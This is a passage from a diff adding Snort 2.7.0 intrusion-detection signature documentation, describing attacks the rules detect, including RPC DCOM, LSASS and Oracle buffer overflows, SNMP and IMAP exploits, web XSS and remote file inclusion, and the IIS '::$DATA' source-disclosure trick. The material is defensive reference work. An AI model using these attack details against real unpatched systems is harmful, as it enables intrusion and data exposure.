+server using Network Associates' Cybercop vulnerability scanner. 
+
+--
+Impact:
+Information gathering. 
+
+--
+Detailed Information:
+Cybercop Scanner is scanning software that searches for system
+vulnerabilities. As one of its scanning procedures, it sends an EHLO
+command to SMTP server ports to determine if the SMTP server will return
+a list of remote commands that it accepts.   
+
+--
+Affected Systems:
+Any SMTP server that returns a list of acceptable commands for remote mailers.
+
+--
+Attack Scenarios:
+An attacker may run Cybercop Scanner against SMTP servers in order to
+determine vulnerabilities that can later be exploited.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure that your SMTP server does not provide more information than is
+necessary when it receives an EHLO request.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+General Cybercop information:
+http://www.securityfocus.com/products/126
+
+--
--- snort-2.7.0.orig/doc/signatures/1409.txt
+++ snort-2.7.0/doc/signatures/1409.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1409
+
+--
+Summary:
+This event is generated when an attempt is made to attack a device using SNMP v1.
+
+--
+Impact:
+Varies depending on the implementation. Ranges from Denial of Service (DoS) to code execution.
+
+--
+Detailed Information:
+SNMP is a widely adopted protocol for managing IP networks, including individual network devices, and devices in aggregate. 
+
+Several network devices come pre-installed with this protocol for management and monitoring.
+
+A number of vulnerabilities exist in SNMP v1, including a community string 
+buffer overflow, that will allow an attacker to execute arbitrary code or shutdown the service.
+
+--
+Affected Systems:
+Any implementation of SNMP v1 protocol
+	
+--
+Attack Scenarios:
+An attacker needs to send a specially crafted packet to UDP port 161 
+of a vulnerable device, causing a Denial of Service or possible execution of 
+arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable the SNMP v1 protocol, use SNMP v2 protocol as an alternative.
+
+Disable the use of SNMP for devices that do not need it.
+
+Use Ingress/Egress filtering on a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-03.html
+
+--
--- snort-2.7.0.orig/doc/signatures/100000469.txt
+++ snort-2.7.0/doc/signatures/100000469.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000469
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "iFoto" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "dir" parameter in the "index.php" script used 
+by the "iFoto" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using iFoto
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/3156.txt
+++ snort-2.7.0/doc/signatures/3156.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3156
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2834.txt
+++ snort-2.7.0/doc/signatures/2834.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2834
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure generate_replication_package
+. This procedure is included in
+sys.dbms_repcat_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2512.txt
+++ snort-2.7.0/doc/signatures/2512.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2512
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in Microsoft products via the Local Security Authority
+Subsystem Service (LSASS).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in LSASS that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an unchecked buffer in the LSASS service, suscessful
+exploitation may present the attacker with the opportunity to gain
+control of the affected system.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems.
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the LSASS
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Use a packet filtering firewall to deny access to TCP and UDP ports 135
+and 445, UDP ports 137 and 138 and TCP ports 139 and 593 from resources
+outside the protected network.
+
+Access should also be denied to ephemeral ports and any other ports used
+by RPC services from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2118.txt
+++ snort-2.7.0/doc/signatures/2118.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2118
+
+--
+Summary:
+This event is generated when a remote user uses invalid data within an
+IMAP LIST command sent to port 143 on an internal server. This may
+indicate an attempt to exploit a buffer overflow vulnerability in the
+IMAP LIST command. This may also affect other IMAP implementations.
+
+Impact:
+Possible shell access on the IMAP server, leading to arbitrary code
+execution. The attacker must have a valid IMAP account on the mail
+server to attempt this exploit.
+
+--
+Detailed Information:
+When a large amount of data is sent to a vulnerable IMAP server in the
+LIST command, a buffer overflow condition may occur. This can allow the
+attacker to access the shell, where arbitrary code can be executed. Note
+that this exploit can only be attempted by a user with a valid IMAP account.
+
+--
+Affected Systems:
+	University of Washington imapd versions 10.234 or 12.264. 
+
+--
+Attack Scenarios:
+An attacker with an IMAP account on the server can send a sufficiently
+long LIST command to the IMAP server, creating a buffer overflow
+condition. This can then allow the attacker to gain shell access on the
+compromised server, possibly leading to the execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple. Exploits exist, but the user must have a valid IMAP account on
+the server.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate patches for your operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/111-12.txt
+++ snort-2.7.0/doc/signatures/111-12.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 
+111-12
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+This may indicate scanning activity.
+
+--
+Detailed Information:
+The pre-processor stream4 has detected network traffic that may indicate
+a scan is in progress. In this case, indications are that the tool nmap
+is being use to determine the operating system of the target host.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker may utilize scanning techniques to determine possible points
+of exploitation against a host.
+
+-- 
+Ease of Attack: 
+Simple. Many scanning tools exist.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2638.txt
+++ snort-2.7.0/doc/signatures/2638.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+2638
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "drop_master_repobject" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gname" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck630.html
+
+--
--- snort-2.7.0.orig/doc/signatures/1153.txt
+++ snort-2.7.0/doc/signatures/1153.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1153
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3291.txt
+++ snort-2.7.0/doc/signatures/3291.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3291
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2932.txt
+++ snort-2.7.0/doc/signatures/2932.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2932
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.7.0.orig/doc/signatures/3225.txt
+++ snort-2.7.0/doc/signatures/3225.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3225
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/122-19.txt
+++ snort-2.7.0/doc/signatures/122-19.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-19
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a udp
+portsweep was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/285.txt
+++ snort-2.7.0/doc/signatures/285.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 
+285
+
+--
+Summary:
+This event generated when an attempt is made to exploit a buffer overflow in the pop2 service.
+
+--
+Impact: 
+Remote access.  This attack may permit the execution of arbitrary commands on the vulnerable host with the privileges of the user "nobody".
+
+--
+Detailed Information:
+Access to the user "nobody" can be obtained with pop2 or pop3 servers that support "anonymous proxy".  "Anonymous proxy" permits the use of a proxy pop server to access mail on another pop server where the user has a valid account.  This access to the proxy server as user "nobody".  A buffer overflow exists because of improper user input filtering, allowing the attacker to enter an overly long argment to the FOLD command.  This may permit the execution of arbitrary commands on the vulernable server with the privileges of the user "nobody".
+
+--
+Affected Systems:
+Debian Linux 2.1
+Redhat Linux 4.2, 5.0, 5.1, and 5.2
+University of Washington imap 4.4
+University of Washington pop2d 4.4
+
+--
+Attack Scenarios:
+An attacker may attempt to exploit a vulnerable pop2 server, permitting the execution of arbitrary commands with the privilege of user "nobody". 
+
+--
+Ease of Attack:
+Simple.  Exploit scripts are freely available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the pop2d version 4.51 or later. 
+
+Compile pop2d to not support anonymous proxing.
+
+--
+Contributors:
+Original rule writer unknown
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/283
+
+
+--
--- snort-2.7.0.orig/doc/signatures/975.txt
+++ snort-2.7.0/doc/signatures/975.txt
@@ -0,0 +1,66 @@
+Should be obsolete when httpinspect is used
+Rule:
+
+--
+Sid:
+975
+
+--
+Summary:
+This event is generated when an attempt is made to access an Active Server Page (ASP) .asp file to disclose its contents. 
+
+--
+Impact:
+Intelligence gathering activity.  A vulnerability exists that discloses the .asp file contents when the file name is appended with "::$DATA".
+
+--
+Detailed Information:
+Microsoft Internet Information Service (IIS) uses Active Server Page to supply HTML and server-side scripting.  ASP files use a .asp extension.  When the file name is appended with "::$DATA", the contents of the file are disclosed instead of executing the .asp file.
+
+--
+Affected Systems:
+Hosts running IIS 3.0, IIS 4.0
+
+--
+Attack Scenarios:
+An attacker can attempt to reference a .asp file appended with "::$DATA" to see the contents of the file.  Sensitive information may by disclosed depending on the selected file. 
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to a more current version of IIS.
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft
+http://support.microsoft.com/default.aspx?scid=kb;EN-US;q188806
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0278
+
+Bugtraq
+http://www.securityfocus.com/bid/149
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=10362
+
+--
--- snort-2.7.0.orig/doc/signatures/1541.txt
+++ snort-2.7.0/doc/signatures/1541.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1541
+
+--
+Summary:
+This event is generated when an attempt is made to ascertain which 
+version of fingerd is running on a host. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to ascertain which 
+version of the finger daemon is running on a host. This may be the 
+prelude to an attack against that finger daemon.
+
+--
+Affected Systems:
+Any host running fingerd.
+
+--
+Attack Scenarios:
+An attacker can determine which version of fingerd is running then 
+attempt to exploit fingerd if it is found to be vulnerable to attack.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disallow access to fingerd from sources external to the protected 
+network.
+
+Disable the finger daemon.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+GNU Finger Manual:
+http://www.gnu.org/software/finger/manual/
+
+--
--- snort-2.7.0.orig/doc/signatures/1204.txt
+++ snort-2.7.0/doc/signatures/1204.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+1204
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Fluid Dynamics Software Corporation
+http://www.xav.com/scripts/axs/help/1508.html
+
+--
--- snort-2.7.0.orig/doc/signatures/100000401.txt
+++ snort-2.7.0/doc/signatures/100000401.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000401
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "faq.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "faq.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/317.txt
+++ snort-2.7.0/doc/signatures/317.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid: 317
+
+--
+Summary:
+This event is generated when an attempt is made to escalate privileges remotely using a vulnerability in mountd.
+
+--
+Impact:
+System compromize presenting the attacker with escalated system privileges .
+
+--
+Detailed Information:
+Some implementations of the Network File System (NFS) on Linux systems use a vulnerable version of mountd that is subject to a buffer overflow condition in the logging subsystem.
+
+The mountd logging facility also logs failed attempts to mount shared resources, even if NFS is not enabled on the system. This means that exploitation of this issue is possible wether or not NFS is being used.
+
+Affected Systems:
+	Caldera OpenLinux Standard 1.2
+	RedHat Linux 2.0, 2.1, 3.0.3, 4.0, 4.1, 4.2, 5.0, 5.1
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/121
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0917
+
+CERT:
+http://www.cert.org/advisories/CA-1998-12.html
+http://www.cert.org/summaries/CS-98-08.html
+
+--
--- snort-2.7.0.orig/doc/signatures/1569.txt
+++ snort-2.7.0/doc/signatures/1569.txt
@@ -0,0 +1,68 @@
+Rule:  
+
+--
+Sid:
+1569
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
